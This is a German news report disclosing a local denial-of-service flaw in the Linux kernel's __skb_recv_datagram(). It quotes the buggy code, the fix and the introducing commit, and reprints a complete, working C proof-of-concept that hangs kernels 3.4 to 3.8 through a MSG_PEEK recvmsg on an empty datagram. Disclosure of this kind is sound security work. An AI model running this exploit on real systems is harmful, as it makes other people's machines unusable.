Eine kürzlich entdeckte Sicherheitslücke im Linux-Kernel hat zur Folge, dass ein lokaler Angreifer eine Denial-of-Service-Attacke gegen das Betriebssystem durchführen kann.
Der verantwortliche Programmierfehler befindet sich in der Funktion “__skb_recv_datagram()” in der Quelltextadatei “net/core/datagram.c”. Dort kann der Angreifer den Code in eine Endlosschleife versetzen, wodurch das System im Weiteren nicht mehr reagiert und unbenutzbar wird.
Der fehlerhafte Code sieht folgendermaßen aus:
[...]
skb_queue_walk(queue, skb) { *peeked = skb->peeked; if (flags & MSG_PEEK) { if (*off >= skb->len) { *off -= skb->len; continue; }
[...]
Die jetzt korrigierte Fassung des Codes ersetzt die zweite If-Abfrage durch
if (*off >= skb->len && skb->len)
wodurch die Sicherheitslücke geschlosssen wird.
Ein knapper Proof-of-Concept-Exploit für diese Schwachstelle wurde ebenfalls veroeffentlicht:
/* Local DOS from v3.4 to v3.8 - endless loop with interrupts disabled. * * Fixed in commit 77c1090 "net: fix infinite loop in __skb_recv_datagram()" * * - minipli */
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
int main(void) { struct msghdr msg; int sock[2]; int err; err = socketpair(AF_UNIX, SOCK_DGRAM, 0, sock); if (err) { perror("socketpair"); exit(1); } memset(&msg, 0, sizeof(msg)); switch (fork()) { default: /* parent, send empty message */ err = sendmsg(sock[0], &msg, 0); if (err) { perror("sendmsg"); exit(1); } close(sock[0]); printf("msg send, waiting for child...\n"); wait(NULL); exit(0); case 0: /* child - should deadlock here */ err = recvmsg(sock[1], &msg, MSG_PEEK); if (err < 0) { perror("recvmsg"); exit(1); } printf("recvmsg returned, bug fixed?!\n"); close(sock[1]); exit(0); case -1: perror("fork"); exit(1); } return 0;
}
Diese Schwachstelle wurde im Februar 2012 durch den Commit 3f518bf745 in den Kernel eingeschleust. Dabei wurde ein Offset-Argument für Daten mit “MSG_PEEK”-Flag eingeführt.

